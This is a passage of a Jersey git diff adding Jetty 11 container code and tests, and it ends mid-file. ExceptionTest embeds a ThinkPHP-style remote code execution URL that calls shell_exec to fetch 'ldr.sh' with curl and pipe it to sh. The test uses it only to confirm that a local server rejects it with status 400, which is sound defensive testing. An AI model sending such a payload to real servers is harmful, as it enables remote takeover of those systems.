+ public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
+
+ @GET
+ public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
+ try {
+ Thread.sleep(5000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("timeout")
+ public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+ asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+ @Override
+ public void handleTimeout(final AsyncResponse asyncResponse) {
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
+ .build());
+ }
+ });
+ asyncResponse.setTimeout(3, TimeUnit.SECONDS);
+
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
+ try {
+ Thread.sleep(7000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("multiple-invocations")
+ public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
+ INVOCATION_COUNT.incrementAndGet();
+
+ new Thread(new Runnable() {
+ @Override
+ public void run() {
+ asyncResponse.resume("OK");
+ }
+ }).start();
+ }
+ }
+
+ private Client client;
+
+ @BeforeEach
+ public void setUp() throws Exception {
+ startServer(AsyncResource.class);
+ client = ClientBuilder.newClient();
+ }
+
+ @Override
+ @AfterEach
+ public void tearDown() {
+ super.tearDown();
+ client = null;
+ }
+
+ @Test
+ public void testAsyncGet() throws ExecutionException, InterruptedException {
+ final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+ // get() waits for the response
+ assertEquals("DONE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
+ final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+
+ // get() waits for the response
+ assertEquals(503, response.getStatus());
+ assertEquals("Operation time out.", response.readEntity(String.class));
+ }
+
+ /**
+ * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
+ */
+ @Test
+ public void testAsyncMultipleInvocations() throws Exception {
+ final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
+
+ assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
+
+ assertThat(response.getStatus(), is(200));
+ assertThat(response.readEntity(String.class), is("OK"));
+ }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
new file mode 100644
index 0000000..03abb53
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import java.io.IOException;
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ */
+public class ExceptionTest extends AbstractJettyServerTester {
+ @Path("{status}")
+ public static class ExceptionResource {
+ @GET
+ public String get(@PathParam("status") int status) {
+ throw new WebApplicationException(status);
+ }
+
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+ + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+ + ".0.1/ldr.sh|sh";
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+ request.addHeader("X-Forwarded-Host", "_foo.com");
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCode() throws IOException {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("400").build());
+ assertEquals(400, r.request().get(Response.class).getStatus());
+ }
+
+ @Test
+ public void test500StatusCode() {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("500").build());
+
+ assertEquals(500, r.request().get(Response.class).getStatus());
+ }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
new file mode 100644
index 0000000..cb363fb
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link JettyHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JettyHttpServerProviderTest {
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServer() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ shouldProvideServer(ShouldProvideServerApplication.class, resource);
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ final Application application = new ShouldProvideServerApplication();
+ shouldProvideServer(application.getClass(), resource);
+ }
+
+ private void shouldProvideServer(final Object application, final Resource resource)
+ throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new JettyHttpServerProvider();
+ final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
+
+ // when
+ final WebServer webServer = Application.class.isInstance(application)
+ ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+ : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+ final Object nativeHandle = webServer.unwrap(Object.class);
+ final CompletionStage<?> start = webServer.start();
+ final Object startResult = start.toCompletableFuture().get();
+ final Container container = webServer.container();
+ final int port = webServer.port();
+ final String entity = ClientBuilder.newClient()
+ .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+ .get(String.class);
+ final CompletionStage<?> stop = webServer.stop();
+ final Object stopResult = stop.toCompletableFuture().get();
+
+ // then
+ assertThat(webServer, is(instanceOf(JettyHttpServer.class)));
+ assertThat(nativeHandle, is(instanceOf(org.eclipse.jetty.server.Server.class)));
+ assertThat(startResult, is(nullValue()));
+ assertThat(container, is(instanceOf(JettyHttpContainer.class)));
+ assertThat(port, is(greaterThan(0)));
+ assertThat(entity, is(resource.toString()));
+ assertThat(stopResult, is(nullValue()));
+ }
+
+ @Path("/")
+ protected static final class Resource {
+ @GET
+ @Override
+ public String toString() {
+ return Resource.class.getName();
+ }
+ }
+
+ protected static class ShouldProvideServerApplication extends Application {
+ @Override
+ public Set<Object> getSingletons() {
+ return Collections.singleton(new Resource());
+ }
+ }
+
+ private static final Logger LOGGER = Logger.getLogger(JettyHttpServerProviderTest.class.getName());
+
+ private static final int DEFAULT_PORT = 0;
+
+ private static int getPort() {
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+ try {
+ final int i = Integer.parseInt(value);
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
+ }
+ return i;
+ } catch (final NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid non-negative integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+
+ return DEFAULT_PORT;
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new JettyHttpServerProvider();
+ final Application application = new Application();
+ final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
+
+ // when
+ final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+ // then
+ assertThat(webServer.port(), is(greaterThan(0)));
+ }
+
+ private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
+ return (SeBootstrap.Configuration) name -> {
+ switch (name) {
+ case SeBootstrap.Configuration.PROTOCOL:
+ return "HTTP";
+ case SeBootstrap.Configuration.HOST:
+ return "localhost";
+ case SeBootstrap.Configuration.PORT:
+ return port;
+ case SeBootstrap.Configuration.ROOT_PATH:
+ return "/";
+ case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+ return SSLClientAuthentication.NONE;
+ case SeBootstrap.Configuration.SSL_CONTEXT:
+ try {
+ return SSLContext.getDefault();
+ } catch (final NoSuchAlgorithmException e) {
+ throw new RuntimeException(e);
+ }
+ case ServerProperties.WEBSERVER_AUTO_START:
+ return autoStart;
+ default:
+ return null;
+ }
+ };
+ }
+
+}
\ No newline at end of file
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
new file mode 100644
index 0000000..133bd25
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Reload and ContainerLifecycleListener support test.
+ *
+ * @author Paul Sandoz
+ * @author Marek Potociar
+ */
+public class LifecycleListenerTest extends AbstractJettyServerTester {
+
+ @Path("/one")
+ public static class One {
+ @GET
+ public String get() {
+ return "one";
+ }
+ }
+
+ @Path("/two")
+ public static class Two {
+ @GET
+ public String get() {
+ return "two";
+ }
+ }
+
+ public static class Reloader extends AbstractContainerLifecycleListener {
+ Container container;
+
+ public void reload(ResourceConfig newConfig) {
+ container.reload(newConfig);
+ }
+
+ public void reload() {
+ container.reload();
+ }
+
+ @Override
+ public void onStartup(Container container) {
+ this.container = container;
+ }
+
+ }
+
+ @Test
+ public void testReload() {
+ final ResourceConfig rc = new ResourceConfig(One.class);
+
+ Reloader reloader = new Reloader();
+ rc.registerInstances(reloader);
+
+ startServer(rc);
+
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("/").build());
+
+ assertEquals("one", r.path("one").request().get(String.class));
+ assertEquals(404, r.path("two").request().get(Response.class).getStatus());
+
+ // add Two resource
+ reloader.reload(new ResourceConfig(One.class, Two.class));
+
+ assertEquals("one", r.path("one").request().get(String.class));
+ assertEquals("two", r.path("two").request().get(String.class));
+ }
+
+ static class StartStopListener extends AbstractContainerLifecycleListener {
+ volatile boolean started;
+ volatile boolean stopped;
+
+ @Override
+ public void onStartup(Container container) {
+ started = true;
+ }
+
+ @Override
+ public void onShutdown(Container container) {
+ stopped = true;
+ }
+ }
+
+ @Test
+ public void testStartupShutdownHooks() {
+ final StartStopListener listener = new StartStopListener();
+
+ startServer(new ResourceConfig(One.class).register(listener));
+
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("/").build());
+
+ assertThat(r.path("one").request().get(String.class), equalTo("one"));
+ assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
+
+ stopServer();
+
+ assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
+ assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
+ }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
new file mode 100644
index 0000000..5d9c627
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Response;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class OptionsTest extends AbstractJettyServerTester {
+
+ @Path("helloworld")
+ public static class HelloWorldResource {
+ public static final String CLICHED_MESSAGE = "Hello World!";
+
+ @GET
+ @Produces("text/plain")
+ public String getHello() {
+ return CLICHED_MESSAGE;
+ }
+ }
+
+ @Test
+ public void testFooBarOptions() {
+ startServer(HelloWorldResource.class);
+ Client client = ClientBuilder.newClient();
+ Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals(0, response.getLength());
+ assertEquals("foo/bar", response.getMediaType().toString());
+ }
+
+ private void _checkAllowContent(final String content) {
+ assertTrue(content.contains("GET"));
+ assertTrue(content.contains("HEAD"));
+ assertTrue(content.contains("OPTIONS"));
+ }
+
+}
diff --git a/containers/jetty11-http2/pom.xml b/containers/jetty11-http2/pom.xml
new file mode 100644
index 0000000..15a7d78
--- /dev/null
+++ b/containers/jetty11-http2/pom.xml
@@ -0,0 +1,175 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <modelVersion>4.0.0</modelVersion>
+
+ <parent>
+ <artifactId>project</artifactId>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <version>3.1.99-SNAPSHOT</version>
+ </parent>
+
+ <artifactId>jersey-container-jetty11-http2</artifactId>
+ <packaging>jar</packaging>
+ <name>jersey-container-jetty11-http2</name>
+
+ <description>Jetty 11 Http2 Container</description>
+
+ <dependencyManagement>
+ <dependencies>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-server</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.http2</groupId>
+ <artifactId>http2-server</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-alpn-conscrypt-server</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ </dependencies>
+ </dependencyManagement>
+
+ <dependencies>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty11-http</artifactId>
+ <version>${project.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-server</artifactId>
+ </exclusion>
+ <exclusion>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.inject</groupId>
+ <artifactId>jakarta.inject-api</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-server</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.http2</groupId>
+ <artifactId>http2-server</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ <exclusion>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-server</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-alpn-conscrypt-server</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.apache.httpcomponents</groupId>
+ <artifactId>httpclient</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.hamcrest</groupId>
+ <artifactId>hamcrest</artifactId>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>com.sun.istack</groupId>
+ <artifactId>istack-commons-maven-plugin</artifactId>
+ <inherited>true</inherited>
+ </plugin>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <inherited>true</inherited>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.felix</groupId>
+ <artifactId>maven-bundle-plugin</artifactId>
+ <inherited>true</inherited>
+ <configuration>
+ <instructions>
+ <Import-Package>
+ ${jetty.osgi.version},
+ *
+ </Import-Package>
+ </instructions>
+ </configuration>
+ </plugin>
+ </plugins>
+
+ <resources>
+ <resource>
+ <directory>${basedir}/src/main/resources</directory>
+ <filtering>true</filtering>
+ </resource>
+ </resources>
+ </build>
+
+</project>
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java
new file mode 100644
index 0000000..ac8927c
--- /dev/null
+++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory;
+import org.eclipse.jetty.server.ConnectionFactory;
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.jetty.Jetty11HttpContainer;
+import org.glassfish.jersey.jetty.Jetty11HttpContainerFactory;
+import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import jakarta.ws.rs.ProcessingException;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.List;
+
+public final class Jetty11Http2ContainerFactory {
+
+ private Jetty11Http2ContainerFactory() {
+
+ }
+
+ /**
+ * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createHttp2Server(final URI uri) throws ProcessingException {
+ return createHttp2Server(uri, null, null, true);
+ }
+
+ /**
+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ * <p/>
+ * This implementation defers to the
+ * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be
+ * used as context path, the rest will be ignored.
+ * @param configuration web application configuration.
+ * @param start if set to false, server will not get started, which allows to configure the underlying
+ * transport layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
+ throws ProcessingException {
+ return createHttp2Server(uri, null,
+ ContainerFactory.createContainer(Jetty11HttpContainer.class, configuration), start);
+ }
+
+ /**
+ * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @param start if set to false, server will not get started, which allows to configure the underlying transport
+ * layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ *
+ * @since 2.40
+ */
+
+ public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
+ return createHttp2Server(uri, null, null, start);
+ }
+
+ /**
+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see Jetty11HttpContainer
+ *
+ * @since 2.40
+ */
+ public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
+ final Object parentContext) {
+ return createHttp2Server(uri, null,
+ new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class,
+ config, parentContext), start);
+ }
+
+ /**
